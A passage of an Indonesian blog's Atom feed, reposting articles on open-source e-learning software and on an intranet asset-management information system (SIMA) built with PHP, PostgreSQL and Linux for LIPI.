/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1173711969145075918/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1173711969145075918' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1173711969145075918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1173711969145075918'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-learning-bagian-2.html' title='e-learning ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7094626612189510379</id><published>2007-12-17T21:06:00.000-08:00</published><updated>2007-12-17T21:15:00.459-08:00</updated><title type='text'>e-learning ( Bagian 1 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a title="Taut Tetap ke Dukungan Open Source untuk E-Learning" href="http://teriyakiboz.wordpress.com/2007/12/13/dukungan-open-source-untuk-e-learning/" rel="bookmark"&gt;Dukungan Open Source untuk E-Learning&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Jangan lupa bahwa  produk-produk software e-learning dari berbagai vendor seperti dijelaskan di  atas merupakan produk &lt;em&gt;proprietary, &lt;/em&gt;sehingga untuk  mengimplementasikannya tentunya dibutuhkan investasi dan biaya yang tidak kecil.  Komponen investasi terbesar pada umumnya pada kepemilikan lisensi  software-software e-learning yang dibutuhkan, baik sistem operasi, aplikasi LMS  maupun software authoring untuk desain dan penyusunan material  pembelajarannya&lt;/span&gt;&lt;img src="http://conferences.alia.org.au/seminars/arcom2004/images/elearning.gif" align="right" height="272" width="272" /&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Apabila diinginkan efisiensi  maka salah satu pilihan adalah pemanfaatan OpenSource software. Cukup  menggembirakan bahwa komunitas opensource di dunia ternyata juga telah mulai  mengembangkan berbagai aplikasi e-learning. &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Dibidang LMS, ada beberapa  produk opensource yang telah d&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;ikembangkan antara lain :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;A-LMS&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Anemalab&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Forel E-Learning  LMS&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;OLMS&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;ILIAS, dll&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Untuk pengembangan content  atau material pembelajaran, dapat dimanfaatkan berbagai program authoring di  platform Linux seperti : DrawSWF, OpenOffice Impress, dll. &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;img src="http://www.poly.asu.edu/elearning/images/eLearning.jpg" align="left" height="266" width="255" /&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Bagi institusi pendidikan di  Indonesia, sejalan dengan program IGOS (Indonesia Goes to Open Source) yang  merupakan program pemerintah untuk memasyarakatkan pemakaian opensource,  semestinya berani untuk mulai memanfaatkan software-software opensource dalam  mengembangkan e-learning di institusinya. Kreatifitas, kemandirian dan tentunya  efisiensi akan lebih dirasakan dengan memanfaatkan opensource&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7094626612189510379?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7094626612189510379/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7094626612189510379' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7094626612189510379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7094626612189510379'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-learning-bagian-1.html' title='e-learning ( Bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8686642985687476842</id><published>2007-12-17T20:54:00.001-08:00</published><updated>2007-12-17T21:05:00.492-08:00</updated><title type='text'>Sistem Informasi Manajemen ( Bagian 5 )</title><content type='html'>&lt;h3 class="etitle" id="post-3"&gt;          &lt;a href="http://snytx.blogspot.com/2007/12/sistem-informasi-manajemen-aset.html" rel="bookmark" title="Permanent Link to Sistem Informasi Manajemen Aset Berbasis Intranet"&gt;Sistem Informasi Manajemen Aset Berbasis Intranet&lt;/a&gt;         &lt;/h3&gt;                                 &lt;p class="snap_preview"&gt;&lt;strong&gt;Intisari&lt;/strong&gt;&lt;br /&gt;Sistem Informasi Manajemen Aset (SIMA) adalah sistem informasi berbasis intranet yang bertujuan menatausahakan barang inventaris milik/kekayaan negara di lingkungan Lembaga Ilmu Pengetahuan Indonesia (LIPI). Dengan sistem informasi ini lebih memudahkan LIPI dalam mencapai tujuan dan fungsi dari penatausahaan barang. Sistem berbasis intranet memungkinkan pengecekan dan pengawasan secara langsung melalui jaringan komputer dari organisasi penatausahaan paling atas ke yang paling bawah. Pembuatan sistem &lt;span class="hilite"&gt;informasi&lt;/span&gt; ini berpedoman pada buku dari BAKUN (Badan Akuntansi Negara). SIMA menyediakan bermacam-macam fasilitas untuk proses penatausahaan barang, meliputi pengkodean barang inventaris, pembuatan buku inventaris, pencarian data barang, mutasi dan pemutihan barang, opname fisik dan pembuatan laporan. SIMA dibangun dengan perangkat lunak open source yang menggunakan bahasa pemograman PHP dan &lt;span class="hilite"&gt;manajemen&lt;/span&gt; basis data dengan PostgreSQL, serta menggunakan komputer server berbasis LINUX&lt;/p&gt; &lt;p&gt;Kata kunci&lt;br /&gt;Sistem &lt;span class="hilite"&gt;informasi&lt;/span&gt;, aset, intranet, PHP, PostgreSQL.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;1. Pendahuluan&lt;/strong&gt;&lt;br /&gt;Teknologi komputasi client-server khususnya yang menggunakan teknologi internet/intranet dan teknologi basis data semakin berkembang pesat, sejalan dengan itu kebutuhan akan aplikasi sistem &lt;span class="hilite"&gt;informasi&lt;/span&gt; yang tidak dibatasi ruang dan waktu juga semakin meningkat.&lt;br /&gt;Fasilitas internet dengan perangkat teknologi penunjangnya memungkinkan  dikembangkannya sistem &lt;span class="hilite"&gt;informasi&lt;/span&gt; &lt;span class="hilite"&gt;manajemen&lt;/span&gt; aset yang memiliki beberapa kelebihan, diantaranya kemudahan dalam mendistribusikan program aplikasi, mudah dan praktis karena dapat diakses dari manapun dan kapanpun, memiliki akses informasi yang lebih cepat, murah dan lebih baik serta mampu menurunkan biaya atas kebutuhan penyampaian dan penyebaran &lt;span class="hilite"&gt;informasi&lt;/span&gt;.&lt;br /&gt;Manajemen aset adalah bagian atau komponen dari Lembaga/Departemen yang memberdayakan aset-aset tetap yang dimiliki sesuai dengan fungsi dan kegunaannya (LIPI, 2001). Sistem &lt;span class="hilite"&gt;Informasi&lt;/span&gt; &lt;span class="hilite"&gt;Manajemen&lt;/span&gt; Aset (SIMA) adalah sebuah sistem &lt;span class="hilite"&gt;informasi&lt;/span&gt; berbasis web/intranet untuk mengelola data-data seluruh aset tetap yang dimiliki oleh setiap puslit di lingkungan LIPI. Dari sistem ini diharapkan pemeliharaan terhadap aset-aset penting yang diperlukan untuk menunjang kegiatan penelitian menjadi lebih terkontrol, dan semua potensi yang dimiliki puslit khususnya aset tetap dapat dikelola dan dimanfaatkan secara optimal untuk menunjang kegiatan penelitian&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;2. Teknologi Pengembangan Web&lt;/strong&gt;&lt;br /&gt;Teknologi yang digunakan dalam pemrograman web dibagi menjadi dua yaitu server side dan client side. Pada server side, perintah-perintah program dijalankan di server dan dikirimkan ke browser sudah dalam bentuk HTML. Sedangkan client side, proses akan dilakukan di web browser. Biasanya client side digunakan untuk hal-hal yang membutuhkan interaksi user tetapi data yang ditampilkan tetap dan seragam.&lt;br /&gt;Aplikasi web berjalan pada protokol HTTP, dan semua protokol di internet selalu melibatkan antara server dan client. Ketika seseorang mengetikkan suatu alamat di browser, maka browser akan mengirimkan perintah tersebut ke web server. Jika yang diminta oleh client adalah file yang mengandung perintah server side maka server web akan menjalankan dahulu program tersebut lalu mengirimkannya kembali ke browser dalam bentuk HTML sehingga dapat diterjemahkan oleh browser. Sedangkan jika yang diminta oleh client adalah file yang mengandung file client side maka oleh server file tersebut akan langsung dikirimkan ke browser.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;2.1. PHP&lt;/strong&gt;&lt;br /&gt;PHP merupakan salah satu jenis scripting language yang dieksekusi pada sisi server, atau biasa disebut server-side scripting merupakan salah satu bahasa pemrograman yang paling populer yang dapat dijumpai di Internet.&lt;br /&gt;Fasilitas PHP yang paling kuat dan pasti adalah integrasinya dengan mesin database yang membuat halaman dengan dukungan database dengan mudah.&lt;br /&gt;PHP termasuk dalam HTML-embedded , artinya code php dapat kita sisipkan pada sebuah halaman HTML. Untuk mengetahui bahwa baris - baris HTML merupakan suatu script php maka digunakan pasangan tag. Tag yang dapat digunakan untuk menyatakan script php adalah&lt;br /&gt; &lt; ? … ?&gt;&lt;br /&gt; &lt; % … %&gt;&lt;br /&gt; &lt; ?php … ?&gt;&lt;br /&gt;Diantara ketiga ini tag ketiga merupakan tag yang paling aman karena memberikan tanda yang lebih jelas dan pada umumnya dimengerti oleh web server (Yudhi Purwanto, 2000).&lt;br /&gt;Beberapa hal yang terkait dengan penulisan file PHP yaitu&lt;br /&gt;a. File PHP merupakan file teks biasa sehingga dapat dituliskan dengan editor teks biasa seperti Notepad, namun akan lebih baik jika anda menggunakan editor PHP khusus seperti PHPEd atau PHP Coder&lt;br /&gt;b. Seluruh blok skrip PHP harus berada di antara tag pengapit &lt; ?php … ?&gt; atau tag &lt; ? … ?&gt;. Tag ini dapat juga diganti dengan tag &lt; ’script’&gt;, ditambah dengan atribut language yang diberi value PHP. Serta dapat dituliskan pula dengan tag pengapit (delimiter) ASP &lt; %… %&gt;.&lt;br /&gt;c. Setiap statement harus dipisahkan dengan tanda titik koma ( ; )&lt;br /&gt;d. Semua file yang mengandung skrip PHP harus disimpan dalam format PHP File (*.php, *.phtml atau *.php3)&lt;/p&gt; &lt;p&gt;&lt;strong&gt;3. Arsitektur SIMA&lt;/strong&gt;&lt;br /&gt;SIMA menerapkan arsitektur client-server three-tiers, dimana Application web Server akan bertindak sebagai middle-tier yang menyediakan seluruh aplikasi yang diperlukan client sebagai front-end untuk berinteraksi dengan database server sebagai back-end.&lt;br /&gt;SIMA dibangun dengan menggunakan perangkat lunak yang bersifat open source. Pada sisi application server akan menggunakan PHP dan Apache. Sedangkan sisi database server menggunakan Database PosgreSql yang berjalan dibawah sistem operasi Linux.&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;4.Diagram Alur Data (Model Fungsional)&lt;/strong&gt;&lt;br /&gt;Diagram alur data merupakan model fungsional SIMA. Diagram ini menggambarkan Sistem &lt;span class="hilite"&gt;Informasi&lt;/span&gt; Manajamen Aset yang artinya hanya menggambarkan proses-proses yang berlangsung di perangkat lunak SIMA untuk lingkungan unit pengurus barang (UPB).&lt;br /&gt;Secara keseluruhan diagram terdiri dari 3 proses sebagai berikut :&lt;br /&gt;&lt;strong&gt;1. Opname Fisik Barang Inventaris,&lt;/strong&gt; petugas inventaris melakukan opname fisik barang inventaris ke setiap ruangan. Hasil dari operasi fisik ini berupa data-data barang inventaris (alat dan bahan) mengenai keberadaan barang, kondisi barang, dan perubahan data barang, data buku perpustakaan.&lt;br /&gt;&lt;strong&gt;2. Pencatatan Data Barang,&lt;/strong&gt; berdasarkan hasil dari opname fisik barang inventaris, perubahan-perubahan yang terjadi (barang masuk/keluar, atau perubahan data barang) akan dicatat ke buku inventaris peralatan dan bahan, daftar inventaris lain (DIL) , daftar Inventaris Ruangan (DIR) dan kartu inventaris barang (KIB – Tanah, Gedung dan Alat Kendaraan Bermotor. Jika terjadi mutasi barang dari hasil opname fisik maka akan dicatat ke buku mutasi barang&lt;br /&gt;&lt;strong&gt;3. Pembuatan Laporan-laporan,&lt;/strong&gt; berdasarkan data buku inventaris yang telah diupdate dari hasil opname pisik, akan dihasilkan laporan hasil opname fisik barang inventaris (LOFBI), laporan Buku Inventaris, Laporan Posisi Awal (LPA) dan Laporan tahunan inventaris (LTI). Dari buku mutasi dan buku inventaris juga akan dihasilkan laporan mutasi barang triwulan (LMBT I - IV).&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr1%28edit%29.GIF" alt="Gambar 1. Diagram Alur Data SIMA" height="353" width="592" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 1. Diagram Alur Data SIMA&lt;/p&gt; &lt;p&gt;&lt;strong&gt;5. Diagram Entity-Relationship (Model Objek)&lt;/strong&gt;&lt;br /&gt;Database disimpan pada server “Gryfindor�? dengan nama database “sima�?, terdiri dari 23 tabel yang disusun secara relasional dengan proses normalisasi.&lt;br /&gt;Diagram Entity-Relationship (D-ER) merupakan model objek/statis yang menggambarkan struktur hubungan antar tabel untuk memudahkan menganalisa relasionalitas tabel-tabel tersebut. Detail entity (tabel) dengan atribut (field) dari SIMA dapat dilihat pada gambar 2.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr3.GIF" alt="Gambar 3. Modul-modul SIMA" height="253" width="461" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 3. Modul-modul SIMA&lt;/p&gt; &lt;p&gt;&lt;strong&gt;6. Modul-modul dan Kelompok Pengguna SIMA (model keamanan)&lt;/strong&gt;&lt;br /&gt;SIMA terdiri dari tiga modul utama, yaitu referensi, inventarisasi barang dan pelaporan. Masing-masing modul memiliki sub-sub modul seperti yang diperlihatkan pada gambar 3.&lt;/p&gt; &lt;p&gt;Gambar 3. Modul-modul SIMA&lt;/p&gt; &lt;p&gt;SIMA memiliki 5 kelompok pengguna yang disusun berdasarkan tingkatan akses terhadap tabel-tabel database, yaitu :&lt;br /&gt;• admin - administrator sistem&lt;br /&gt;memiliki otoritas penuh (tambah, edit dan hapus) pada tabel-tabel kelompok referensi&lt;br /&gt;• operator - petugas inventaris&lt;br /&gt;memiliki otoritas penuh (tambah, edit dan hapus) untuk tabel-tabel kelompok inventarisasi barang.&lt;br /&gt;• eselon - Kapus, Kabag dan Kabid&lt;br /&gt;memiliki hak akses untuk melihat data referensi dan data inventarisasi barang, serta melihat dan mencetak laporan-laporan&lt;br /&gt;• ppbi  -  ppbi wilayah dimana upb berada&lt;br /&gt;memiliki hak akses untuk melihat beberapa data referensi serta melihat dan mencetak data inventaris yang perlu dilaporkan oleh UPB (Unit Pengurus Barang) ke PPBI (Pembantu penguasa Barang Inventaris).&lt;br /&gt;• guest  - pengguna biasa&lt;br /&gt;memiliki hak akses untuk melihat beberapa data referensi dan beberapa data inventaris barang.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7. Implementasi Program Aplikasi&lt;/strong&gt;&lt;br /&gt;Aplikasi SIMA diawali dengan login ke sistem untuk menjamin keamanan data serta pengaturan akses database sesuai dengan kelompok pengguna.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr4.GIF" alt="Gambar 4. Dialog Tampilan Awal SIMA" height="336" width="506" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 4. Dialog Tampilan Awal SIMA&lt;/p&gt; &lt;p&gt;Gambar 4 merupakan halaman awal yang tampil pada saat pemakai berhasil login ke SIMA. Pada bagian atas terdapat menu-menu utama. Pada bagian kanan atas terdiri dari tombol petunjuk yang digunakan untuk mendapatkan &lt;span class="hilite"&gt;informasi&lt;/span&gt; mengoperasikan SIMA, kontak administrator lewat e-mail, serta link ke situs LIPI. Di kanan bawah terdapat tombol untuk logout dari SIMA. Pada tengah halaman merupakan halaman display untuk menampilkan form-form yang diperlukan.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1 Struktur Menu&lt;/strong&gt;&lt;br /&gt;Operasional SIMA melalui menu-menu utama yang masing-masing memiliki sub-sub menu pilihan. Menu-menu utama ini dibuat dengan model menu bar yang berbentuk tombol-tombol, sedangkan sub-sub menu dibuat dengan model link. Menu utama SIMA terdiri dari 6 menu untuk operasional sistem dan 1 menu petunjuk/manual. Setiap kelompok pengguna memiliki sub-sub menu yang tidak sama tergantung dari hak akses mereka terhadap tabel-tabel dalam database.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1.1. Menu Lihat Data&lt;/strong&gt;&lt;br /&gt;Menu lihat data digunakan untuk melihat data secara langsung tanpa perlu terjadi seleksi atau filter data. Diagram berikut menunjukkan sub-sub menu yang terdapat pada menu Lihat Data&lt;/p&gt; &lt;p&gt;Diagram 1. Struktur Menu Lihat Data&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram1.GIF" alt="Diagram 1. Struktur Menu Lihat Data" height="151" width="391" /&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1.2. Seleksi Data&lt;/strong&gt;&lt;br /&gt;Menu Seleksi data digunakan untuk melihat data dengan harus melakukan seleksi atau filter data. Diagram berikut adalah sub-sub menu yang terdapat pada menu Seleksi Data&lt;/p&gt; &lt;p&gt;Diagram 2. Struktur Menu Seleksi Data&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram2.GIF" alt="Diagram 2. Struktur Menu Seleksi Data" height="172" width="558" /&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1.3. Cari Data&lt;/strong&gt;&lt;br /&gt;Menu Cari data digunakan untuk melakukan pencarian. Diagram berikut adalah sub-sub menu yang terdapat pada menu Cari Data.&lt;/p&gt; &lt;p&gt;Diagram 3. Struktur Menu Cari Data&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram3.GIF" alt="Diagram 3. Struktur Menu Cari Data" height="95" width="479" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 5. contoh form pencarian data dengan kriteria&lt;/p&gt; &lt;p&gt;Gambar 5 adalah salah satu contoh form pencarian data barang inventaris – peralatan dengan beberapa kriteria pilihan (berdasarkan nama alat, merk/type, tahun anggaran, lokasi barang dan kondisi barang). Kriteria-kriteria ini dapat diisi untuk mendapatkan data dengan filter yang diinginkan, atau tidak memilih / dikosongkan sama sekali jika akan melihat seluruh data.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1.4. Tambah Data&lt;/strong&gt;&lt;br /&gt;Menu Tambah data digunakan untuk mengisi dan menambah data. Diagram berikut menjelaskan sub-sub menu yang terdapat pada menu Tambah Data.&lt;/p&gt; &lt;p&gt;Diagram 4. Struktur Menu Tambah Data&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram4.GIF" alt="Diagram 4. Struktur Menu Tambah Data" height="235" width="565" /&gt;&lt;/p&gt; &lt;p&gt;Salah satu contoh tampilan pengisian data diperlihatkan pada gambar dibawah ini, yang memperlihatkan form untuk mengisi data buku inventaris peralatan.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr6.GIF" /&gt; Gambar 6. Contoh Form Pengisian Buku Inventaris Peralatan” title=”&lt;br /&gt;Gambar 6. Contoh Form Pengisian Buku Inventaris Peralatan” height=”272″ width=”359″&gt;&lt;/p&gt; &lt;p&gt;Gambar 6. Contoh Form Pengisian Buku Inventaris Peralatan&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7.1.5. Laporan&lt;/strong&gt;&lt;br /&gt;Menu Laporan digunakan untuk melihat dan mencetak laporan-laporan. Diagram 5 menunjukkan sub-sub menu laporan yang dapat dilihat dan dicetak dalam format Adobe Acrobat.&lt;/p&gt; &lt;p&gt;Diagram 5. Struktur Menu Laporan&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram5.GIF" alt="Diagram 5. Struktur Menu Laporan" height="152" width="534" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 7 adalah contoh bentuk laporan yang dihasilkan dari menu laporan. Laporan diberikan dalam format Acrobat Reader. Petunjuk penggunaan Acrobat Reader disediakan pada manual sistem melalui menu Petunjuk.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr7.GIF" alt="Gambar 7. Contoh Laporan Mutasi Barang Triwulan dalam format Acrobat Reader" height="370" width="464" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 7. Contoh Laporan Mutasi Barang Triwulan dalam format Acrobat Reader&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;br /&gt;7.1.6. Administrasi User&lt;/strong&gt;&lt;br /&gt;Menu Administrsi User digunakan untuk mengatur pengguna SIMA. Tipe admin memiliki otoritas tertinggi dalam mengatur pengguna sistem, antara lain dapat melakukan penambahan dan penghapusan data pengguna, mengganti tipe kelompok serta mengganti password pengguna. Sedangkan bagi pengguna hanya memiliki otoritas untuk mengganti passwordnya saja.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;br /&gt;7.1.7. Petunjuk&lt;/strong&gt;&lt;br /&gt;Menu petunjuk berfungsi sebagai user manual yang berjalan dalam format Adobe Acrobat. Tujuan dibuat menu ini adalah untuk memberi kemudahan bagi pengguna berupa informasi-&lt;span class="hilite"&gt;informasi&lt;/span&gt; dalam mengoperasikan SIMA. Diagram berikut adalah petunjuk-petunjuk yang disediakan.&lt;br /&gt;Diagram 6. Struktur Menu Petunjuk&lt;br /&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Diagram6.GIF" alt="Diagram 6. Struktur Menu Petunjuk" height="177" width="581" /&gt;&lt;br /&gt;&lt;img src="http://www.informatika.lipi.go.id/wp-share/ekasari/Sima-Gbr8.GIF" alt="Gambar 8. Contoh Manual SIMA dalam format Acrobat Reader" height="389" width="469" /&gt;&lt;/p&gt; &lt;p&gt;Gambar 8. Contoh Manual SIMA dalam format Acrobat Reader&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Penutup&lt;/strong&gt;&lt;br /&gt;Dengan dibangunnya suatu Sistem &lt;span class="hilite"&gt;Informasi&lt;/span&gt; Manajemen Aset secara online di intranet, maka beberapa proses dalam kegiatan penatausahaan dan inventarisasi dapat diintegerasikan menjadi suatu sistem yang terkomputerisasi, dengan bentuk tampilan yang mudah digunakan oleh beberapa tipe pengguna. Bagi pengguna yang bertindak sebagai operator (tim inventaris ), sistem memberikan kemudahan dalam beberapa hal seperti : pencatatan data, pendataulangan (sebagai hasil dari kegiatan opname fisik, mutasi,pemutihan), penghitungan jumlah dan nilai barang untuk keperluan &lt;span class="hilite"&gt;manajemen&lt;/span&gt; aset LIPI selanjutnya secara keseluruhan serta pembuatan laporan. Untuk pengguna pada level guest (tamu), sistem memberi kemudahan dalam akses pencarian barang, dengan memberikan beberapa model kriteria pencarian. Sementara untuk tipe pengguna eselon, sistem memberi kemudahan dalam akses pencarian barang dan akses untuk melihat laporan.&lt;br /&gt;Kemudahan yang diberikan oleh sistem ini, diharapkan sedikit demi sedikit dapat menghilangkan kekurangan yang didapat saat kegiatan penatausahaan dan inventarisasi dilakukan secara manual sebelum ini, meski tidak dapat dipungkiri bahwa masih ada beberapa proses manual yag harus tetap diberlakukan.&lt;br /&gt;Penggunaan perangkat lunak berbasis open sources ( php, postgreSQL dan linux server ) dalam pembangunan Sistem &lt;span class="hilite"&gt;Informasi&lt;/span&gt; &lt;span class="hilite"&gt;Manajemen&lt;/span&gt; Aset ini, memungkinkan untuk meminimasikan biaya pembangunan sistem, meski dari sisi lain perlu ada peningkatan sumber daya manusia baik bagi pengguna operator maupun pengguna yang bertanggung jawab dalam pemeliharaan sistem secara keseluruhan (administrator).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8686642985687476842?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8686642985687476842/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8686642985687476842' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8686642985687476842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8686642985687476842'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-informasi-manajemen-bagian-5_17.html' title='Sistem Informasi Manajemen ( Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1410194766364452733</id><published>2007-12-17T20:21:00.000-08:00</published><updated>2007-12-17T20:35:30.567-08:00</updated><title type='text'>Manajemen Sistem Informasi ( Bagian 3 )</title><content type='html'>&lt;div&gt;&lt;a title="Permanent Link to MANAJEMEN PROYEK SISTEM INFORMASI" href="http://snytx.blogspot.com/2007/12/manajemen-proyek-sistem-informasi.html" rel="bookmark"&gt;&lt;span style="font-size:180%;"&gt;&lt;strong&gt;MANAJEMEN PROYEK SISTEM INFORMASI&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:180%;"&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;a href="http://1.bp.blogspot.com/_eTjLkcqj9WM/R2dNjcle6AI/AAAAAAAAAGY/jGjURJwUIYE/s1600-h/pda5.jpg"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;img id="BLOGGER_PHOTO_ID_5145166370658248706" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/R2dNjcle6AI/AAAAAAAAAGY/jGjURJwUIYE/s320/pda5.jpg" border="0" 